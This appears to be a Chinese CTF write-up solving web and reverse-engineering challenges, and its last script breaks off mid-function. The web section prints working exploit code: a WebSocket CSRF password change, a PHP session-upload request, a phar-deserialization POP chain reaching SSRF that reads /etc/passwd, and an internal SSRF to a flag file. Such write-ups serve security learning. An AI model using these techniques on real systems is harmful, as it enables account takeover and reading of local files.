Web
babyweb
任意注册,main 路由下 websocket 可以让管理员访问任意 ip:port
,修改密码,在自己 vps 上构造 script 来 csrf:
<script>
var ws = null;
var url = "ws://" + "127.0.01:port" + "/bot";
ws = new WebSocket(url);
ws.onopen = function (event) {
var msg = document.getElementById("sendbox").value;
ws.send("changepwd 123456");
}
</script>
修改密码后拿到 hint,后台是个 go,利用 python 和 go 对 json 字段理解不同双鞋相同字段前后绕过,设置购买数量为负数后购买flag即可。
easyweb
http://47.104.95.124:8080/showfile.php?f=./demo/../class.php
任意文件读,审计发现触发 adminShow 的 show 可以 ssrf。
注意到 session 没开启,用 PHP_SESSION_UPLOAD_PROGRESS 强制开启 session_start()
来上传文件:
POST /index.php HTTP/1.1
Host: 47.104.95.124:8080
Content-Length: 400
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.104.95.124:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvR1Uq45sbhgKPcuw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.104.95.124:8080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=eyJ1c2VyIjoiYWRtaW4ifQ
Connection: close
------WebKitFormBoundaryvR1Uq45sbhgKPcuw
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundaryvR1Uq45sbhgKPcuw
通过 phar 反序列化触发 ssrf,构造 pop 链:通过先 wakeup,然后在 destruct 后重新赋值的方式来构造 url 进行触发。
<?php
use AdminShow as GlobalAdminShow;
use GuestShow as GlobalGuestShow;
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
public function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],$filename);
echo 'upload'.$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
public function __toString(){
return $this->file["name"];
}
public function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public $name;
public function __construct($file)
{
$this->file=$file;
}
public function __toString(){
echo "guest tostring";
$str = $this->file->name;
return "";
}
public function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
public function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return "1";
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
echo "wakeup";
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
if(isset($_GET[1])){
unserialize($_GET[1]);
die();
}
$filename = "testmysql.php";
$g0 = new GuestShow($filename);
$g1 = new GuestShow($filename);
$a0 = new AdminShow($filename);
$a1 = new AdminShow($filename);
$u0 = new Upload();
$u1 = new Upload();
$u2 = new Upload();
$u1->filesize = $a0;
$u1->date = "/etc/passwd";
$u2->filesize = $a0;
$u2->date = "file://";
$g1->file = $a0;
$u2->tmp = $g1;
$a0->str[0] = $u1;
$a0->str[1] = $u2;
$u0->tmp = $a0;
$g0->file = $u0;
$phar = new Phar("aa.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($g0);
$phar->stopBuffering();
任意文件读 /proc/1/net/arp
,截取部分发现内网存在 10.10.10.10
这个服务
IP address HW type Flags HW address Mask Device
10.10.10.2 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.14 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.12 0x1 0x0 00:00:00:00:00:00 * eth1
10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1
10.10.10.8 0x1 0x0 00:00:00:00:00:00 * eth1
172.18.0.1 0x1 0x2 02:42:e8:30:05:41 * eth0
172.18.0.178 0x1 0x0 00:00:00:00:00:00 * eth0
172.18.0.176 0x1 0x0 00:00:00:00:00:00 * eth0
用 http 协议 ssrf 过去发现是个 nginx 的 php,有一处 ssrf,直接请求 http://10.10.10.10/index.php?url=file:///flag
即可。
Reverse
find_basic
动调发现有多个函数都有虚拟机结构,输入部分在 0x4942 处,继续调试进入加密部分 0x750A9,它由几百个类似的代码块构成,每个代码块调用的函数都有数个操作码,难以普通地归类,故使用 idapython 动调脚本提取代码
from binascii import hexlify
ea = get_reg_value('eip')
end = ea + 0x1806
main_func = get_func_name(ea)
fp = open('all_asm.txt','w')
while True:
ea = get_reg_value('eip')
next_ea = next_head(ea)
fp.write(hexlify(get_bytes(ea, next_ea - ea)).decode())
fp.write('\t' + GetDisasm(ea)+'\n')
if ea >= end:
break
if main_func == get_func_name(ea):
step_into()
else:
step_over()
wait_for_next_event(WFNE_SUSP, -1)
然后观察特征,使用jnz和jmp指令作为子模块的标识,进一步提取
codes = open('all_asm.txt', 'r').read().split('\n')
c = open('asm.txt', 'w')
for i in range(len(codes)):
if codes[i].find('jnz') != -1 and codes[i+2].find('jnz') == -1:
j = i+3
while j < len(codes) and codes[j].find('jmp') == -1:
c.write(codes[j]+'\n')
j += 1
codes = open('asm.txt', 'r').read().split('\n')
codes = [i[:i.find('\t')] for i in codes]
datas = b''
for i in codes:
datas += unhexlify(i)
datas += '\xc3'
print(datas)
open('mch1', 'wb').write(datas)
将对应的机器码写入文件里,并补齐栈平衡以及函数返回,使用 ida 反调试得到清晰的结构
根据提示中的绝对值相关列出数个方程,z3 求解即可
from z3 import *
a1 = [BitVec('x%d' % i, 32)for i in range(28)]
con1 = 40085 * a1[3]\
- 222506 * a1[2]\
+ 54507 * a1[4]\
+ 88056 * a1[1]\
+ 212571 * a1[5]\
- 160722 * a1[0]\
- 434973
con2 = 49300 * a1[3]\
+ 259229 * a1[0]\
+ 278066 * a1[2]\
- 127937 * a1[1]\
- 295169 * a1[4]\
- 8368677
con3 = 42214 * a1[1]\
- 108025 * a1[3]\
+ 205972 * a1[0]\
+ 27559 * a1[2]\
- 17114904
con4 = - 151496 * a1[1]\
+ 204740 * a1[0]\
+ 80143 * a1[2]\
- 12295783
con5 = 241935 * a1[1]\
+ 124128 * a1[0]\
- 38790036
con6 = 273221 * a1[0]\
- 27868542
con7 = -279656 * a1[2]\
- 199574 * a1[1]\
- 258130 * a1[8]\
- 200399 * a1[3]\
- 173903 * a1[7]\
+ 175816 * a1[0]\
- 234569 * a1[6]\
- 108273 * a1[4]\
- 222957 * a1[5]\
+ 128244179
con8 = - 81541 * a1[1]\
- 268763 * a1[0]\
+ 219073 * a1[3]\
+ 34782 * a1[6]\
+ 21153 * a1[5]\
+ 173005 * a1[7]\
+ 76285 * a1[4]\
+ 32825 * a1[2]\
- 13874925
con9 = 85214 * a1[2]\
- 268299 * a1[3]\
- 230981 * a1[1]\
+ 290772 * a1[5]\
- 74394 * a1[4]\
+ 28044 * a1[6]\
- 242995 * a1[0]\
+ 50871139
con10 = -279656 * a1[2]\
- 199574 * a1[1]\
- 258130 * a1[8]\
- 200399 * a1[3]\
- 173903 * a1[7]\
+ 175816 * a1[0]\
- 234569 * a1[6]\
- 108273 * a1[4]\
- 222957 * a1[5]\
+ 128244179
con11 = - 81541 * a1[1]\
- 268763 * a1[0]\
+ 219073 * a1[3]\
+ 34782 * a1[6]\
+ 21153 * a1[5]\
+ 173005 * a1[7]\
+ 76285 * a1[4]\
+ 32825 * a1[2]\
- 13874925
con12 = 85214 * a1[2]\
- 268299 * a1[3]\
- 230981 * a1[1]\
+ 290772 * a1[5]\
- 74394 * a1[4]\
+ 28044 * a1[6]\
- 242995 * a1[0]\
+ 50871139
con13 = -208564 * a1[0]\
+ 81934 * a1[9]\
- 106641 * a1[7]\
+ 198477 * a1[2]\
+ 154505 * a1[1]\
+ 48440 * a1[5]\
- 149004 * a1[3]\
- 108909 * a1[4]\
- 51714 * a1[10]\
- 296420 * a1[8]\
+ 263021 * a1[6]\
+ 688726
con14 = - 131130 * a1[2]\
+ 224265 * a1[3]\
+ 230702 * a1[0]\
- 176285 * a1[7]\
- 274778 * a1[4]\
+ 103848 * a1[8]\
- 136039 * a1[9]\
- 241151 * a1[5]\
+ 15542 * a1[6]\
- 17521 * a1[1]\
+ 41644083
con15 = 195056 * a1[4]\
- 15717 * a1[9]\
- 180214 * a1[6]\
- 114427 * a1[5]\
+ 277782 * a1[7]\
+ 261379 * a1[8]\
- 225266 * a1[2]\
+ 107609 * a1[0]\
+ 259792 * a1[3]\
+ 270563 * a1[11]\
+ 205124 * a1[1]\
+ 138334 * a1[10]\
+ 103474 * a1[12]\
- 117027475
con16 = 189573 * a1[8]\
+ 64393 * a1[6]\
+ 231137 * a1[1]\
+ 145315 * a1[4]\
- 53938 * a1[10]\
- 291345 * a1[5]\
+ 216413 * a1[3]\
- 204681 * a1[0]\
- 65519 * a1[9]\
- 262826 * a1[2]\
+ 187002 * a1[7]\
+ 271732 * a1[11]\
- 38663722
con17 = 15645 * a1[13]\
+ 276267 * a1[12]\
+ 31190 * a1[5]\
- 244002 * a1[2]\
+ 81415 * a1[3]\
- 22940 * a1[10]\
- 126076 * a1[7]\
+ 8932 * a1[8]\
+ 112153 * a1[4]\
+ 194218 * a1[11]\
+ 197656 * a1[9]\
- 204463 * a1[0]\
- 219500 * a1[1]\
+ 19777 * a1[6]\
- 24531260
con18 = 279969 * a1[8]\
- 123977 * a1[4]\
+ 162094 * a1[0]\
- 215769 * a1[1]\
- 18878 * a1[14]\
- 80292 * a1[11]\
- 237675 * a1[5]\
- 222121 * a1[6]\
+ 269381 * a1[12]\
+ 153934 * a1[13]\
- 165380 * a1[10]\
- 157137 * a1[2]\
- 186748 * a1[3]\
+ 170756 * a1[7]\
- 186932 * a1[9]\
+ 87264470
con19 = -87190 * a1[2]\
- 74836 * a1[1]\
+ 16892 * a1[9]\
- 185781 * a1[8]\
- 12726 * a1[7]\
+ 85022 * a1[12]\
+ 232989 * a1[10]\
+ 68516 * a1[0]\
- 120254 * a1[6]\
- 204892 * a1[5]\
- 65901 * a1[4]\
- 201087 * a1[13]\
+ 158612 * a1[11]\
- 49445 * a1[3]\
- 181860 * a1[14]\
- 111015 * a1[15]\
+ 43646834
con20 = -170184 * a1[3]\
- 137671 * a1[4]\
- 85374 * a1[9]\
- 73658 * a1[11]\
+ 230891 * a1[13]\
+ 54346 * a1[15]\
- 280694 * a1[0]\
+ 60411 * a1[2]\
+ 27171 * a1[7]\
- 50618 * a1[6]\
+ 11843 * a1[10]\
+ 131778 * a1[5]\
+ 13956 * a1[8]\
- 42562 * a1[12]\
- 19972 * a1[1]\
- 145797 * a1[14]\
- 58717 * a1[16]\
+ 74613584
con21 = 242475 * a1[16]\
- 234385 * a1[0]\
+ 124653 * a1[2]\
- 287929 * a1[13]\
- 190916 * a1[12]\
- 277578 * a1[11]\
+ 39 * a1[8]\
- 41625 * a1[6]\
+ 67262 * a1[5]\
- 250144 * a1[9]\
- 70886 * a1[10]\
- 223492 * a1[15]\
- 179651 * a1[7]\
+ 206538 * a1[17]\
+ 161965 * a1[3]\
- 146258 * a1[4]\
+ 167068 * a1[1]\
+ 196330 * a1[14]\
+ 76353817
con22 = 29700 * a1[18]\
- 60542 * a1[5]\
+ 274107 * a1[11]\
+ 154914 * a1[13]\
- 143185 * a1[12]\
+ 167424 * a1[2]\
+ 137439 * a1[8]\
- 186151 * a1[10]\
- 77157 * a1[9]\
- 233090 * a1[6]\
- 27400 * a1[7]\
- 76557 * a1[15]\
- 108002 * a1[17]\
+ 103161 * a1[14]\
- 133956 * a1[1]\
- 219502 * a1[4]\
- 202897 * a1[0]\
- 250957 * a1[3]\
- 119297 * a1[16]\
+ 100812197
con23 = -171971 * a1[9]\
+ 38740 * a1[4]\
- 31661 * a1[10]\
- 194653 * a1[18]\
- 295910 * a1[16]\
+ 136489 * a1[12]\
+ 212619 * a1[17]\
+ 165592 * a1[11]\
+ 211791 * a1[1]\
+ 156909 * a1[2]\
- 232187 * a1[8]\
- 73709 * a1[7]\
+ 79735 * a1[14]\
+ 184882 * a1[13]\
+ 111105 * a1[6]\
+ 148840 * a1[3]\
- 35774 * a1[19]\
- 275711 * a1[0]\
+ 135265 * a1[5]\
- 141221 * a1[15]\
- 39117122
con24 = -186514 * a1[17]\
- 7791 * a1[2]\
+ 276755 * a1[11]\
- 294815 * a1[14]\
- 238763 * a1[15]\
- 146099 * a1[5]\
+ 184977 * a1[16]\
+ 178413 * a1[1]\
+ 287303 * a1[3]\
- 71946 * a1[10]\
- 73771 * a1[9]\
- 129032 * a1[18]\
+ 200202 * a1[20]\
- 150509 * a1[6]\
- 156625 * a1[13]\
+ 14093 * a1[7]\
+ 192584 * a1[12]\
- 122770 * a1[0]\
- 255494 * a1[8]\
+ 65 * a1[4]\
- 108479 * a1[19]\
+ 13521895
con25 = 210978 * a1[7]\
+ 300336 * a1[10]\
+ 207254 * a1[15]\
+ 216206 * a1[5]\
- 63529 * a1[0]\
- 274903 * a1[11]\
- 10750 * a1[14]\
+ 25008 * a1[4]\
- 100942 * a1[19]\
- 104857 * a1[2]\
+ 266501 * a1[8]\
+ 229070 * a1[17]\
- 234559 * a1[16]\
+ 298459 * a1[3]\
- 172052 * a1[6]\
- 98938 * a1[12]\
+ 66155 * a1[13]\
- 84761 * a1[1]\
- 283508 * a1[18]\
+ 288577 * a1[21]\
- 75407 * a1[20]\
- 204447 * a1[9]\
+ 4351595
con26 = -201846 * a1[14]\
+ 272550 * a1[20]\
+ 60398 * a1[6]\
+ 45580 * a1[7]\
+ 195108 * a1[11]\
+ 38596 * a1[0]\
+ 220445 * a1[18]\
- 190873 * a1[15]\
+ 103477 * a1[9]\
+ 118842 * a1[19]\
+ 206336 * a1[10]\
- 249940 * a1[17]\
- 48084 * a1[21]\
+ 104901 * a1[5]\
- 48576 * a1[4]\
+ 287104 * a1[16]\
- 286686 * a1[1]\
- 30253 * a1[22]\
+ 121183 * a1[3]\
+ 90967 * a1[2]\
- 195519 * a1[12]\
- 129304 * a1[8]\
+ 141188 * a1[13]\
- 56642147
con27 = 110609 * a1[4]\
+ 5913 * a1[21]\
- 197578 * a1[7]\
+ 45127 * a1[18]\
+ 282426 * a1[13]\
- 71019 * a1[16]\
- 6980 * a1[11]\
+ 208216 * a1[15]\
- 13544 * a1[20]\
+ 17852 * a1[8]\
+ 167833 * a1[12]\
+ 145568 * a1[17]\
+ 3610 * a1[19]\
+ 91985 * a1[1]\
- 267402 * a1[5]\
- 32355 * a1[14]\
- 197823 * a1[23]\
+ 135525 * a1[2]\
- 229424 * a1[22]\
+ 38093 * a1[10]\
+ 50167 * a1[6]\
+ 118713 * a1[9]\
+ 123874 * a1[0]\
- 89499 * a1[3]\
- 43090537
con28 = -164755 * a1[9]\
+ 175470 * a1[8]\
- 28660 * a1[1]\
+ 7217 * a1[11]\
- 295102 * a1[4]\
- 28531 * a1[19]\
- 106265 * a1[25]\
- 92750 * a1[10]\
+ 16738 * a1[21]\
- 231714 * a1[6]\
+ 172042 * a1[24]\
- 215890 * a1[17]\
+ 199697 * a1[12]\
- 84235 * a1[7]\
+ 44614 * a1[13]\
+ 75104 * a1[5]\
- 195843 * a1[0]\
- 15784 * a1[14]\
- 131950 * a1[15]\
- 268167 * a1[16]\
- 197565 * a1[20]\
+ 24340 * a1[23]\
+ 105130 * a1[2]\
- 79750 * a1[22]\
- 264668 * a1[3]\
+ 50329 * a1[18]\
+ 137774797
con28 = 62119 * a1[17]\
- 17215 * a1[24]\
+ 289621 * a1[18]\
+ 53006 * a1[20]\
+ 95969 * a1[11]\
+ 202404 * a1[0]\
+ 247060 * a1[21]\
+ 144211 * a1[19]\
+ 280106 * a1[7]\
- 126431 * a1[10]\
- 226837 * a1[12]\
+ 10463 * a1[23]\
+ 121257 * a1[13]\
- 84190 * a1[9]\
+ 88917 * a1[1]\
+ 15453 * a1[14]\
+ 271442 * a1[4]\
+ 110851 * a1[3]\
- 231422 * a1[5]\
+ 176741 * a1[22]\
+ 266134 * a1[2]\
- 197327 * a1[6]\
- 55225 * a1[8]\
- 265465 * a1[15]\
+ 119612 * a1[16]\
- 98514358
con29 = 62119 * a1[17]\
- 17215 * a1[24]\
+ 289621 * a1[18]\
+ 53006 * a1[20]\
+ 95969 * a1[11]\
+ 202404 * a1[0]\
+ 247060 * a1[21]\
+ 144211 * a1[19]\
+ 280106 * a1[7]\
- 126431 * a1[10]\
- 226837 * a1[12]\
+ 10463 * a1[23]\
+ 121257 * a1[13]\
- 84190 * a1[9]\
+ 88917 * a1[1]\
+ 15453 * a1[14]\
+ 271442 * a1[4]\
+ 110851 * a1[3]\
- 231422 * a1[5]\
+ 176741 * a1[22]\
+ 266134 * a1[2]\
- 197327 * a1[6]\
- 55225 * a1[8]\
- 265465 * a1[15]\
+ 119612 * a1[16]\
- 98514358
con30 = 151924 * a1[25]\
- 265311 * a1[6]\
+ 107604 * a1[11]\
- 47851 * a1[24]\
+ 227178 * a1[13]\
- 162699 * a1[2]\
+ 2171 * a1[20]\
+ 211070 * a1[23]\
+ 94815 * a1[22]\
+ 124760 * a1[16]\
+ 41462 * a1[19]\
- 277022 * a1[15]\
- 62501 * a1[26]\
- 17727 * a1[14]\
- 257908 * a1[4]\
- 175112 * a1[21]\
+ 8972 * a1[10]\
- 71801 * a1[8]\
- 114724 * a1[5]\
- 252898 * a1[9]\
+ 161457 * a1[1]\
- 64461 * a1[0]\
- 111493 * a1[18]\
+ 200145 * a1[17]\
- 290075 * a1[3]\
+ 158466 * a1[12]\
- 275262 * a1[7] + 86899519
con31 = 142850 * a1[18]\
- 166704 * a1[1]\
+ 284852 * a1[22]\
+ 248972 * a1[7]\
- 76200 * a1[17]\
+ 261708 * a1[19]\
+ 91911 * a1[24]\
+ 22347 * a1[3]\
+ 76006 * a1[21]\
+ 256511 * a1[6]\
- 100052 * a1[14]\
- 115830 * a1[2]\
- 93202 * a1[23]\
+ 248858 * a1[12]\
- 262669 * a1[10]\
+ 67895 * a1[5]\
- 111771 * a1[8]\
- 132193 * a1[11]\
- 141512 * a1[13]\
+ 139406 * a1[27]\
+ 109646 * a1[16]\
- 286309 * a1[9]\
+ 175476 * a1[15]\
+ 138067 * a1[20]\
+ 192825 * a1[25]\
+ 199577 * a1[0] - 63091 * a1[4] - 285207 * a1[26] - 58820340
s = Solver()
for i in range(28):
s.add(a1[i] > 0x20)
s.add(a1[i] < 0x7f)
s.add(a1[0] == ord('f'))
s.add(a1[1] == ord('l'))
s.add(a1[2] == ord('a'))
s.add(a1[3] == ord('g'))
s.add(a1[4] == ord('{'))
s.add(a1[27] == ord('}'))
s.add(con1 == 0)
s.add(con2 == 0)
s.add(con3 == 0)
s.add(con4 == 0)
s.add(con5 == 0)
s.add(con6 == 0)
s.add(con7 == 0)
s.add(con8 == 0)
s.add(con9 == 0)
s.add(con10 == 0)
s.add(con11 == 0)
s.add(con12 == 0)
s.add(con13 == 0)
s.add(con14 == 0)
s.add(con15 == 0)
s.add(con16 == 0)
s.add(con17 == 0)
s.add(con18 == 0)
s.add(con19 == 0)
s.add(con20 == 0)
s.add(con21 == 0)
s.add(con22 == 0)
s.add(con23 == 0)
s.add(con24 == 0)
s.add(con25 == 0)
s.add(con26 == 0)
s.add(con27 == 0)
s.add(con28 == 0)
s.add(con29 == 0)
s.add(con30 == 0)
s.add(con31 == 0)
if sat == s.check():
m = s.model()
flag = ''
for i in a1:
flag += chr(m[i].as_long())
import hashlib
hl = hashlib.md5()
hl.update(flag.encode())
print (hl.hexdigest() == '042905954c2c27f21bd74489ea0d151f')
print (flag)
GameMaster
.net逆向
一个21点游戏,逆向发现存在作弊码
if (memcmp1(input, "MF3K", 4)) {
try {
game.Player.Bet -= 22m;
for (int i = 0; i < memory.Length; i++) {
memory[i] ^= 34;
}
Environment.SetEnvironmentVariable("AchivePoint1", game.Player.Balance.ToString());
return;
}
}
if (memcmp1(input, "EEPW", 4)) {
try {
game.Player.Balance += 175m;
byte[] key = new byte[16]
{
66, 114, 97, 105, 110, 115, 116, 111, 114, 109,
105, 110, 103, 33, 33, 33
};
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = key;
rijndaelManaged.Mode = CipherMode.ECB;
rijndaelManaged.Padding = PaddingMode.Zeros;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
m = cryptoTransform.TransformFinalBlock(memory, 0, memory.Length);
Environment.SetEnvironmentVariable("AchivePoint2", game.Player.Balance.ToString());
return;
}
}
if (memcmp1(input, "6VD6", 4)) {
try {
game.Player.Balance -= 27m;
Environment.SetEnvironmentVariable("AchivePoint3", game.Player.Balance.ToString());
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(m);
binaryFormatter.Deserialize(serializationStream);
return;
}
}
依次触发三个作弊码,就会对文件内容进行解密并反序列化
解密后发现序列化内容中包含了一个dll文件:
private static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream)
{
int num = -1;
for (int i = 0; i < 320; i++)
{
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);
y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);
bool flag = i % 8 == 0;
if (flag)
{
num++;
}
KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));
}
}
private static void ParseKey(ulong[] L, byte[] Key)
{
for (int i = 0; i < 3; i++)
{
for (int j = 0; j < 4; j++)
{
Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);
}
}
}
public T1()
{
try
{
string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");
string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");
string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");
bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;
if (!flag)
{
ulong num = ulong.Parse(environmentVariable);
ulong num2 = ulong.Parse(environmentVariable2);
ulong num3 = ulong.Parse(environmentVariable3);
ulong[] array = new ulong[3];
byte[] array2 = new byte[40];
byte[] array3 = new byte[40];
byte[] array4 = new byte[12];
byte[] first = new byte[] {
101, 5, 80, 213, 163, 26, 59, 38,
19, 6, 173, 189, 198, 166, 140, 183,
42, 247, 223, 24, 106, 20, 145, 37,
24, 7, 22, 191, 110, 179, 227, 5,
62, 9, 13, 17, 65, 22, 37, 5
};
byte[] array5 = new byte[] {
60, 100, 36, 86, 51, 251, 167, 108,
116, 245, 207, 223, 40, 103, 34, 62,
22, 251, 227
};
array[0] = num;
array[1] = num2;
array[2] = num3;
T1.Check1(array[0], array[1], array[2], array2);
bool flag2 = first.SequenceEqual(array2);
if (flag2)
{
T1.ParseKey(array, array4);
for (int i = 0; i < array5.Length; i++)
{
array5[i] ^= array4[i % array4.Length];
}
MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);
}
}
}
catch (Exception)
{
}
}
使用 z3 求解三个环境变量
from z3 import *
x = BitVec('x', 64)
y = BitVec('y', 64)
z = BitVec('z', 64)
flag1 = [
101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173,
189, 198, 166, 140, 183, 42, 247, 223, 24, 106,
20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5,
62, 9, 13, 17, 65, 22, 37, 5
]
s = Solver()
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
cur = ((z >> 32) & 1 & (x >> 30 & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))
s.add(cur == (flag1[i // 8] >> (7 - i % 8)) & 1)
if s.check() == sat:
m = s.model()
print (m)
else:
print ('no res')
求解,或动调改内存
array = [156324965, 868387187, 3131229747]
Key = [0] * 12
for i in range(3):
for j in range(4):
Key[i * 4 + j] = (array[i] >> (j * 8)) & 0xff
print (Key)
cipher = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
for i in range(len(cipher)):
print (chr(cipher[i] ^ Key[i % len(Key)]), end='')
Easyapk
逻辑在 so 层,有大量的垃圾指令,实际逻辑是先进行 rot13,再进行 tea 加密 解密脚本如下:
#include <stdio.h>
#include <stdint.h>
//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t v[]={1570024068u, 351937696u, 727056912u, 3063668041u, 2867849940u, 1267528902u, 159365321u, 3052163538u},k[4]={0x33323130, 0x37363534, 0x62613938, 0x66656463};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密后的数据:%u %u\n",v[0],v[1]);
decrypt(v, k);
decrypt(v + 2, k);
decrypt(v + 4, k);
decrypt(v + 6, k);
unsigned char *x = (unsigned char *)v;
for (int i = 0; i < 32; i++) {
printf("%x", x[i]);
}
return 0;
}
// synt{Vg_Vf_A0g_guNg_zHpu_unEqre}
结果进行rot13即可
flag{It_Is_N0t_thAt_mUch_haRder}
deeprev
将 shellcode 隐藏在了 relocation 中
import lief
from collections import namedtuple
from dataclasses import dataclass
b = lief.ELF.parse('./deeprev')
def to_sym(name):
assert len(name) == 1
return ord(name[0])
Rel = namedtuple('REL', ['dst', 'val', 'ridx'])
Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
R64 = namedtuple('R64', ['dst', 'symbol', 'addend', 'ridx'])
R32 = namedtuple('R32', ['dst', 'symbol', 'addend', 'ridx'])
@dataclass
class Symbol(object):
idx: int
def __repr__(self):
return f's{self.idx}'
@dataclass
class Reloc(object):
idx: int
def __repr__(self):
return f'r{self.idx}'
@dataclass
class Ref(object):
def __repr__(self):
return f'&{self.val}'
@dataclass
class SymAddr(object):
sym: Symbol
field: str
def __repr__(self):
return f'{self.sym}.{self.field}'
@dataclass
class RelocAddr(object):
reloc: Reloc
field: str
def __repr__(self):
return f'{self.reloc}.{self.field}'
def vaddr(self):
off = 0
print(self.field)
# match self.field:
# case 'r_address': off = 0
# case 'r_info': off = 8
# case 'r_addend': off = 16
return (self.reloc.idx * 24) + off + rela.virtual_address
@dataclass
class FlagAddr(object):
idx: int
def __repr__(self):
return f'flag[{self.idx}]'
BaseAddr = namedtuple('baseaddr', [])
CheckAddr = namedtuple('check', [])
rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
dynsym = [x for x in b.sections if x.name == '.dynsym'][0]
def format_addr(addr: int):
if (addr >= rela.virtual_address and addr < rela.virtual_address + rela.size):
offset = addr - rela.virtual_address
r_offset = (offset // 24)
r_rem = offset % 24
if r_rem == 0:
return RelocAddr(Reloc(r_offset), 'r_address')
elif r_rem == 8:
return RelocAddr(Reloc(r_offset), 'r_info')
elif r_rem == 16:
return RelocAddr(Reloc(r_offset), 'r_addend')
else:
return RelocAddr(Reloc(r_offset), r_rem)
elif (addr > dynsym.virtual_address
and addr < dynsym.virtual_address + dynsym.size
):
offset = addr - dynsym.virtual_address
r_offset = (offset // 24)
r_rem = offset % 24
if r_rem == 0:
return SymAddr(Symbol(r_offset), 'st_name')
elif r_rem == 8:
return Symbol(r_offset)
elif r_rem == 16:
return SymAddr(Symbol(r_offset), 'st_size')
else:
return SymAddr(Symbol(r_offset), r_rem)
elif addr >= 0x404040 and addr < 0x404040+0x21:
off = addr-0x404040
return FlagAddr(off)
elif addr == 0x804000:
return BaseAddr()
elif addr == 0x404064:
return CheckAddr()
else:
return addr
def parse(b) -> list:
print('[*] Loading relocations...')
relocs = list(b.relocations)
print('[*] Parsing...')
instructions = []
